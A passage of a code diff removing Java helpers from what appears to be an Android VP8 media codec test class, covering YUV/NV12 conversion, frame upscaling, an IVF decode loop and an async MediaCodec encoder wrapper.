-     */
-    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
-        byte[] nv = new byte[yuv.length];
-        // Y plane we just copy.
-        System.arraycopy(yuv, 0, nv, 0, width * height);
-
-        // U & V plane we interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset = width * height;
-        for (int i = 0; i < width * height / 4; i++) {
-            nv[nv_offset++] = yuv[u_offset++];
-            nv[nv_offset++] = yuv[v_offset++];
-        }
-        return nv;
-    }
-
-    /**
-     * Converts (de-interleaves) NV12 to YUV420 planar.
-     * Stride may be greater than width, slice height may be greater than height.
-     */
-    private static byte[] NV12ToYUV420(int width, int height,
-            int stride, int sliceHeight, byte[] nv12) {
-        byte[] yuv = new byte[width * height * 3 / 2];
-
-        // Y plane we just copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(nv12, i * stride, yuv, i * width, width);
-        }
-
-        // U & V plane - de-interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset;
-        for (int i = 0; i < height / 2; i++) {
-            nv_offset = stride * (sliceHeight + i);
-            for (int j = 0; j < width / 2; j++) {
-                yuv[u_offset++] = nv12[nv_offset++];
-                yuv[v_offset++] = nv12[nv_offset++];
-            }
-        }
-        return yuv;
-    }
-
-    /**
-     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
-     * height equal to the original frame width and height.
-     */
-    private static byte[] PackYUV420(int width, int height,
-            int stride, int sliceHeight, byte[] src) {
-        byte[] dst = new byte[width * height * 3 / 2];
-        // Y copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(src, i * stride, dst, i * width, width);
-        }
-        // U and V copy.
-        int u_src_offset = stride * sliceHeight;
-        int v_src_offset = u_src_offset + u_src_offset / 4;
-        int u_dst_offset = width * height;
-        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
-        for (int i = 0; i < height / 2; i++) {
-            System.arraycopy(src, u_src_offset + i * (stride / 2),
-                    dst, u_dst_offset + i * (width / 2), width / 2);
-            System.arraycopy(src, v_src_offset + i * (stride / 2),
-                    dst, v_dst_offset + i * (width / 2), width / 2);
-        }
-        return dst;
-    }
-
-
-    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
-            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
-        for (int i = 0; i < dstHeight/2 - 1; i++) {
-            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
-            int dstOffset1 = dstOffset0 + dstWidth;
-            int srcOffset0 = i * srcStride + srcByteOffset;
-            int srcOffset1 = srcOffset0 + srcStride;
-            int pixel00 = (int)src[srcOffset0++] & 0xff;
-            int pixel10 = (int)src[srcOffset1++] & 0xff;
-            for (int j = 0; j < dstWidth/2 - 1; j++) {
-                int pixel01 = (int)src[srcOffset0++] & 0xff;
-                int pixel11 = (int)src[srcOffset1++] & 0xff;
-                dst[dstOffset0++] = (byte)pixel00;
-                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
-                pixel00 = pixel01;
-                pixel10 = pixel11;
-            }
-            // last column
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-        }
-
-        // last row
-        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
-        int dstOffset1 = dstOffset0 + dstWidth;
-        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
-        int pixel00 = (int)src[srcOffset0++] & 0xff;
-        for (int j = 0; j < dstWidth/2 - 1; j++) {
-            int pixel01 = (int)src[srcOffset0++] & 0xff;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            dst[dstOffset1++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            pixel00 = pixel01;
-        }
-        // the very last pixel - bottom right
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-    }
-
-    /**
-    * Up-scale image.
-    * Scale factor is defined by source and destination width ratio.
-    * Only 1:2 and 1:4 up-scaling is supported for now.
-    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
-    * image is scaled.
-    */
-    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
-            int dstWidth, int dstHeight) throws Exception {
-        int srcYSize = srcWidth * srcHeight;
-        int dstYSize = dstWidth * dstHeight;
-        byte[] dst = null;
-        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
-            // 1:2 upscale
-            dst = new byte[dstWidth * dstHeight * 3 / 2];
-            imageUpscale1To2(src, 0, srcWidth,
-                    dst, 0, dstWidth, dstHeight);                                 // Y
-            imageUpscale1To2(src, srcYSize, srcWidth / 2,
-                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
-            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
-                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
-        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
-            // 1:4 upscale - in two steps
-            int midWidth = 2 * srcWidth;
-            int midHeight = 2 * srcHeight;
-            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
-            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
-
-        } else {
-            throw new RuntimeException("Can not find proper scaling function");
-        }
-
-        return dst;
-    }
-
-    private void cacheScaledImage(
-            String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
-            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
-        InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
-        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
-        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-        byte[] dstFrame = null;
-        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
-        while (true) {
-            int bytesRead = srcStream.read(srcFrame);
-            if (bytesRead != srcFrame.length) {
-                break;
-            }
-            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
-                dstFrame = srcFrame;
-            } else {
-                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
-                        dstFrameWidth, dstFrameHeight);
-            }
-            dstFile.write(dstFrame);
-        }
-        srcStream.close();
-        dstFile.close();
-    }
-
-
-    /**
-     * A basic check if an encoded stream is decodable.
-     *
-     * The most basic confirmation we can get about a frame
-     * being properly encoded is trying to decode it.
-     * (Especially in realtime mode encode output is non-
-     * deterministic, therefore a more thorough check like
-     * md5 sum comparison wouldn't work.)
-     *
-     * Indeed, MediaCodec will raise an IllegalStateException
-     * whenever vp8 decoder fails to decode a frame, and
-     * this test uses that fact to verify the bitstream.
-     *
-     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
-     * @param outputYuvFilename The name of the output YUV file (optional).
-     * @param frameRate         Frame rate of input file in frames per second
-     * @param forceGoogleDecoder    Force to use Google VP8 decoder.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> decode(
-            String inputIvfFilename,
-            String outputYuvFilename,
-            int frameRate,
-            boolean forceGoogleDecoder) throws Exception {
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-
-        // Open input/output.
-        IvfReader ivf = new IvfReader(inputIvfFilename);
-        int frameWidth = ivf.getWidth();
-        int frameHeight = ivf.getHeight();
-        int frameCount = ivf.getFrameCount();
-        int frameStride = frameWidth;
-        int frameSliceHeight = frameHeight;
-        assertTrue(frameWidth > 0);
-        assertTrue(frameHeight > 0);
-        assertTrue(frameCount > 0);
-
-        // Create decoder.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                VP8_MIME, ivf.getWidth(), ivf.getHeight());
-        CodecProperties properties = getVpxCodecProperties(
-                false /* encoder */, format, forceGoogleDecoder);
-        if (properties == null) {
-            ivf.close();
-            return null;
-        }
-        int frameColorFormat = properties.colorFormat;
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-
-        FileOutputStream yuv = null;
-        if (outputYuvFilename != null) {
-            yuv = new FileOutputStream(outputYuvFilename, false);
-        }
-
-        Log.d(TAG, "Creating decoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
-                ". " + frameWidth + " x " + frameHeight);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
-        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
-        decoder.configure(format,
-                          null,  // surface
-                          null,  // crypto
-                          0);    // flags
-        decoder.start();
-
-        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
-        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-
-        // decode loop
-        int inputFrameIndex = 0;
-        int outputFrameIndex = 0;
-        long inPresentationTimeUs = 0;
-        long outPresentationTimeUs = 0;
-        boolean sawOutputEOS = false;
-        boolean sawInputEOS = false;
-
-        while (!sawOutputEOS) {
-            if (!sawInputEOS) {
-                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    byte[] frame = ivf.readFrame(inputFrameIndex);
-
-                    if (inputFrameIndex == frameCount - 1) {
-                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
-                        sawInputEOS = true;
-                    }
-
-                    inputBuffers[inputBufIndex].clear();
-                    inputBuffers[inputBufIndex].put(frame);
-                    inputBuffers[inputBufIndex].rewind();
-                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
-
-                    decoder.queueInputBuffer(
-                            inputBufIndex,
-                            0,  // offset
-                            frame.length,
-                            inPresentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    inputFrameIndex++;
-                }
-            }
-
-            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    outputBuffers = decoder.getOutputBuffers();
-                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // Process format change
-                    format = decoder.getOutputFormat();
-                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-                    Log.d(TAG, "Decoder output format change. Color: 0x" +
-                            Integer.toHexString(frameColorFormat));
-                    Log.d(TAG, "Format: " + format.toString());
-
-                    // Parse frame and slice height from undocumented values
-                    if (format.containsKey("stride")) {
-                        frameStride = format.getInteger("stride");
-                    } else {
-                        frameStride = frameWidth;
-                    }
-                    if (format.containsKey("slice-height")) {
-                        frameSliceHeight = format.getInteger("slice-height");
-                    } else {
-                        frameSliceHeight = frameHeight;
-                    }
-                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
-                            " x " + frameSliceHeight);
-                    frameStride = Math.max(frameWidth, frameStride);
-                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
-                }
-                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            }
-            if (result >= 0) {
-                int outputBufIndex = result;
-                outPresentationTimeUs = bufferInfo.presentationTimeUs;
-                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
-                        ". Size: " + bufferInfo.size +
-                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
-                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
-                }
-
-                if (bufferInfo.size > 0) {
-                    // Save decoder output to yuv file.
-                    if (yuv != null) {
-                        byte[] frame = new byte[bufferInfo.size];
-                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
-                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
-                        // Convert NV12 to YUV420 if necessary.
-                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                            frame = NV12ToYUV420(frameWidth, frameHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        int writeLength = Math.min(frameWidth * frameHeight * 3 / 2, frame.length);
-                        // Pack frame if necessary.
-                        if (writeLength < frame.length &&
-                                (frameStride > frameWidth || frameSliceHeight > frameHeight)) {
-                            frame = PackYUV420(frameWidth, frameHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        yuv.write(frame, 0, writeLength);
-                    }
-                    outputFrameIndex++;
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
-                            outPresentationTimeUs, bufferInfo.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-                decoder.releaseOutputBuffer(outputBufIndex, false);
-            }
-        }
-        decoder.stop();
-        decoder.release();
-        ivf.close();
-        if (yuv != null) {
-            yuv.close();
-        }
-
-        return bufferInfos;
-    }
-
-
-    /**
-     * Helper function to return InputStream from either filename (if set)
-     * or resource id (if filename is not set).
-     */
-    private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
-        if (filename != null) {
-            return new FileInputStream(filename);
-        }
-        return mResources.openRawResource(resourceId);
-    }
-
-    /**
-     * Results of frame encoding.
-     */
-    protected class MediaEncoderOutput {
-        public long inPresentationTimeUs;
-        public long outPresentationTimeUs;
-        public boolean outputGenerated;
-        public int flags;
-        public byte[] buffer;
-    }
-
-    protected class MediaEncoderAsyncHelper {
-        private final EncoderOutputStreamParameters mStreamParams;
-        private final CodecProperties mProperties;
-        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
-        private final IvfWriter mIvf;
-        private final byte[] mSrcFrame;
-
-        private InputStream mYuvStream;
-        private int mInputFrameIndex;
-
-        MediaEncoderAsyncHelper(
-                EncoderOutputStreamParameters streamParams,
-                CodecProperties properties,
-                ArrayList<MediaCodec.BufferInfo> bufferInfos,
-                IvfWriter ivf)
-                throws Exception {
-            mStreamParams = streamParams;
-            mProperties = properties;
-            mBufferInfos = bufferInfos;
-            mIvf = ivf;
-
-            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-            mSrcFrame = new byte[srcFrameSize];
-
-            mYuvStream = OpenFileOrResourceId(
-                    streamParams.inputYuvFilename, streamParams.inputResourceId);
-        }
-
-        public byte[] getInputFrame() {
-            // Check EOS
-            if (mStreamParams.frameCount == 0
-                    || (mStreamParams.frameCount > 0
-                            && mInputFrameIndex >= mStreamParams.frameCount)) {
-                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
-                return null;
-            }
-
-            try {
-                int bytesRead = mYuvStream.read(mSrcFrame);
-
-                if (bytesRead == -1) {
-                    // rewind to beginning of file
-                    mYuvStream.close();
-                    mYuvStream = OpenFileOrResourceId(
-                            mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
-                    bytesRead = mYuvStream.read(mSrcFrame);
-                }
-            } catch (Exception e) {
-                Log.e(TAG, "Failed to read YUV file.");
-                return null;
-            }
-            mInputFrameIndex++;
-
-            // Convert YUV420 to NV12 if necessary
-            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
-                        mSrcFrame);
-            } else {
-                return mSrcFrame;
-            }
-        }
-
-        public boolean saveOutputFrame(MediaEncoderOutput out) {
-            if (out.outputGenerated) {
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    try {
-                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
-                    } catch (Exception e) {
-                        Log.d(TAG, "Failed to write frame");
-                        return true;
-                    }
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    mBufferInfos.add(bufferInfoCopy);
-                }
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    /**
-     * Video encoder wrapper class.
-     * Allows to run the encoder either in a callee's thread or in a looper thread
-     * using buffer dequeue ready notification callbacks.
-     *
-     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
-     * is configured to run in async mode the function will run in a looper thread.
-     * Encoded frame can be retrieved by calling getOutput() function.
-     */
-    protected class MediaEncoderAsync extends Thread {
-        private int mId;
-        private MediaCodec mCodec;
-        private MediaFormat mFormat;
-        private ByteBuffer[] mInputBuffers;
-        private ByteBuffer[] mOutputBuffers;
-        private int mInputFrameIndex;
-        private int mOutputFrameIndex;
-        private int mInputBufIndex;
-        private int mFrameRate;
-        private long mTimeout;
-        private MediaCodec.BufferInfo mBufferInfo;
-        private long mInPresentationTimeUs;
-        private long mOutPresentationTimeUs;
-        private boolean mAsync;
-        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
-        private boolean mConsumedInput;
-        // Result of frame encoding returned by getOutput() call.
-        private MediaEncoderOutput mOutput;
-        // Object used to signal that looper thread has started and Handler instance associated
-        // with looper thread has been allocated.
-        private final Object mThreadEvent = new Object();
-        // Object used to signal that MediaCodec buffer dequeue notification callback
-        // was received.
-        private final Object mCallbackEvent = new Object();
-        private Handler mHandler;
-        private boolean mCallbackReceived;
-        private MediaEncoderAsyncHelper mHelper;
-        private final Object mCompletionEvent = new Object();
-        private boolean mCompleted;
-
-        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
-            @Override
-            public void onInputBufferAvailable(MediaCodec codec, int index) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                byte[] encFrame = mHelper.getInputFrame();
-                boolean inputEOS = (encFrame == null);
-
-                int encFrameLength = 0;
-                int flags = 0;
-                if (inputEOS) {
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                } else {
-                    encFrameLength = encFrame.length;
-
-                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
-                    byteBuffer.put(encFrame);
-                    byteBuffer.rewind();
-
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        index,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-            }
-
-            @Override
-            public void onOutputBufferAvailable(MediaCodec codec,
-                    int index, MediaCodec.BufferInfo info) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                MediaEncoderOutput out = new MediaEncoderOutput();
-
-                out.buffer = new byte[info.size];
-                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
-                outputBuffer.get(out.buffer, 0, info.size);
-                mOutPresentationTimeUs = info.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + info.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-
-                if (mOutputFrameIndex == 0 &&
-                        ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
-                    throw new RuntimeException("First frame is not a sync frame.");
-                }
-
-                if (info.size > 0) {
-                    mOutputFrameIndex++;
-                    out.inPresentationTimeUs = mInPresentationTimeUs;
-                    out.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(index, false);
-
-                out.flags = info.flags;
-                out.outputGenerated = true;
-
-                if (mHelper.saveOutputFrame(out)) {
-                    // output EOS
-                    signalCompletion();
-                }
-            }
-
-            @Override
-            public void onError(MediaCodec codec, CodecException e) {
-                Log.e(TAG, "onError: " + e
-                        + ", transient " + e.isTransient()
-                        + ", recoverable " + e.isRecoverable()
-                        + ", error " + e.getErrorCode());
-            }
-
-            @Override
-            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
-            }
-        };
-
-        private synchronized void requestStart() throws Exception {
-            mHandler = null;
-            start();
-            // Wait for Hander allocation
-            synchronized (mThreadEvent) {
-                while (mHandler == null) {
-                    mThreadEvent.wait();
-                }
-            }
-        }
-
-        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
-            mHelper = helper;
-        }
-
-        @Override
-        public void run() {
-            Looper.prepare();
-            synchronized (mThreadEvent) {
-                mHandler = new Handler();
-                mThreadEvent.notify();
-            }
-            Looper.loop();
-        }
-
-        private void runCallable(final Callable<?> callable) throws Exception {
-            if (mAsync) {
-                final Exception[] exception = new Exception[1];
-                final CountDownLatch countDownLatch = new CountDownLatch(1);
-                mHandler.post( new Runnable() {
-                    @Override
-                    public void run() {
-                        try {
-                            callable.call();
-                        } catch (Exception e) {
-                            exception[0] = e;
-                        } finally {
-                            countDownLatch.countDown();
-                        }
-                    }
-                } );
-
-                // Wait for task completion
-                countDownLatch.await();
-                if (exception[0] != null) {
-                    throw exception[0];
-                }
-            } else {
-                callable.call();
-            }
-        }
-
-        private synchronized void requestStop() throws Exception {
-            mHandler.post( new Runnable() {
-                @Override
-                public void run() {
-                    // This will run on the Looper thread
-                    Log.v(TAG, "MediaEncoder looper quitting");
-                    Looper.myLooper().quitSafely();
-                }
-            } );
-            // Wait for completion
-            join();
-            mHandler = null;
-        }
-
-        private void createCodecInternal(final String name,
-                final MediaFormat format, final long timeout) throws Exception {
-            mBufferInfo = new MediaCodec.BufferInfo();
-            mFormat = format;
-            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
-            mTimeout = timeout;
-            mInputFrameIndex = 0;
-            mOutputFrameIndex = 0;
-            mInPresentationTimeUs = 0;
-            mOutPresentationTimeUs = 0;
-
-            mCodec = MediaCodec.createByCodecName(name);
-            if (mAsync) {
-                mCodec.setCallback(mCallback);
-            }
-            mCodec.configure(mFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            mCodec.start();
-
-            // get the cached input/output only in sync mode
-            if (!mAsync) {
-                mInputBuffers = mCodec.getInputBuffers();
-                mOutputBuffers = mCodec.getOutputBuffers();
-            }
-        }
-
-        public void createCodec(int id, final String name, final MediaFormat format,
-                final long timeout, boolean async)  throws Exception {
-            mId = id;
-            mAsync = async;
-            if (mAsync) {
-                requestStart(); // start looper thread
-            }
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    createCodecInternal(name, format, timeout);
-                    return null;
-                }
-            } );
-        }
-
-        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
-            mConsumedInput = false;
-            // Feed input
-            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
-
-            if (mInputBufIndex >= 0) {
-                mInputBuffers[mInputBufIndex].clear();
-                mInputBuffers[mInputBufIndex].put(encFrame);
-                mInputBuffers[mInputBufIndex].rewind();
-                int encFrameLength = encFrame.length;
-                int flags = 0;
-                if (inputEOS) {
-                    encFrameLength = 0;
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                }
-                if (!inputEOS) {
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        mInputBufIndex,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-
-                mConsumedInput = true;
-            } else {
-                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
-            }
-            mCallbackReceived = false;
-        }
-
-        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    feedInputInternal(encFrame, inputEOS);
-                    return null;
-                }
-            } );
-            return mConsumedInput;
-        }
-
-        private void getOutputInternal() {
-            mOutput = new MediaEncoderOutput();
-            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
-            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-            mOutput.outputGenerated = false;
-
-            // Get output from the encoder
-            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    mOutputBuffers = mCodec.getOutputBuffers();
-                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    mFormat = mCodec.getOutputFormat();
-                    Log.d(TAG, "Format changed: " + mFormat.toString());
-                }
-                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            }
-            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
-            }
-
-            if (result >= 0) {
-                int outputBufIndex = result;
-                mOutput.buffer = new byte[mBufferInfo.size];
-                mOutputBuffers[outputBufIndex].position(mBufferInfo.offset);
-                mOutputBuffers[outputBufIndex].get(mOutput.buffer, 0, mBufferInfo.size);
-                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + mBufferInfo.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-                if (mOutputFrameIndex == 0 &&
-                        ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
-                    throw new RuntimeException("First frame is not a sync frame.");
-                }
-
-                if (mBufferInfo.size > 0) {
-                    mOutputFrameIndex++;
-                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(outputBufIndex, false);
-
-                mOutput.flags = mBufferInfo.flags;
-                mOutput.outputGenerated = true;
-            }
-            mCallbackReceived = false;
-        }
-
-        public MediaEncoderOutput getOutput() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    getOutputInternal();
-                    return null;
-                }
-            } );
-            return mOutput;
-        }
-
-        public void forceSyncFrame() throws Exception {
-            final Bundle syncFrame = new Bundle();
-            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(syncFrame);
-                    return null;
-                }
-            } );
-        }
-
-        public void updateBitrate(int bitrate) throws Exception {
-            final Bundle bitrateUpdate = new Bundle();
-            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(bitrateUpdate);
-                    return null;
-                }
-            } );
-        }
-
-
-        public void waitForBufferEvent() throws Exception {
-            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
-            if (mAsync) {
-                synchronized (mCallbackEvent) {
-                    if (!mCallbackReceived) {
-                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
-                        // throw an exception if callback was not received
-                        if (!mCallbackReceived) {
